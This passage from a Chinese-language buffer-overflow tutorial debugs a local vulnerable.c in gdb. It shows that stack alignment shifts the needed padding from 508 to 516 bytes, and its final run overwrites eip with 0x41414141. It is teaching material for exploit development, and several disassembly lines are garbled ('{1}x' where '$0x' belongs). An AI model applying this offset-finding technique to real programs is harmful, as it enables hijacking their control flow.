往buffer中填入508个字符的内容,程序正常结束并退出。这说明栈并没有溢出,填入数据量太少。可是,正如上文中我们分析的那样,程序理论上栈溢出确实需要508个字符就可以了。问题出在哪里呢?重新分析代码和反汇编之后的代码,我们不难发现,问题产生的原因在于“0x080483c7 <+3>: and $0xfffffff0,%esp”这条语句。下面我们将继续用gdb调试,分析一下该语句如何影响我们的溢出的。
(gdb) disass main Dump of assembler code for function main: 0x080483c4 <+0>: push %ebp 0x080483c5 <+1>: mov %esp,%ebp 0x080483c7 <+3>: and {1}xfffffff0,%esp 0x080483ca <+6>: sub {1}x210,%esp 0x080483d0 <+12>: mov 0xc(%ebp),%eax 0x080483d3 <+15>: add {1}x4,%eax 0x080483d6 <+18>: mov (%eax),%eax 0x080483d8 <+20>: mov %eax,0x4(%esp) 0x080483dc <+24>: lea 0x1c(%esp),%eax 0x080483e0 <+28>: mov %eax,(%esp) 0x080483e3 <+31>: call 0x80482f4 <strcpy@plt> 0x080483e8 <+36>: mov {1}x0,%eax 0x080483ed <+41>: leave 0x080483ee <+42>: ret End of assembler dump. (gdb) b *main+3 Breakpoint 2 at 0x80483c7: file vulnerable.c, line 4. (gdb) b *main+6 Breakpoint 3 at 0x80483ca: file vulnerable.c, line 4. (gdb) r `perl -e 'print "\x41"x508'` Starting program: /root/pentest/vulnerable `perl -e 'print "\x41"x508'` Breakpoint 2, 0x080483c7 in main (argc=2, argv=0xbffff264) at vulnerable.c:4 4 int main(int argc, char **argv) { (gdb) i r esp esp 0xbffff1b8 0xbffff1b8 (gdb) c Continuing. Breakpoint 3, 0x080483ca in main (argc=2, argv=0xbffff264) at vulnerable.c:4 4 int main(int argc, char **argv) { (gdb) i r esp esp 0xbffff1b0 0xbffff1b0 (gdb) |
通过调试可以看到,在执行“0x080483c7 <+3>: and $0xfffffff0,%esp”语句之前,esp的值是“0xbffff1b8”,在执行完该语句之后,esp的值是“0xbffff1b0”。故esp的值减少了8,也就是说,要想控制eip的值,还需要多填入8个字,即需要516个字符来填充buffer。
(gdb) r `perl -e 'print "\x41"x516'`
Starting program: /root/pentest/vulnerable `perl -e 'print "\x41"x516'`
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)
可以看到溢出成功!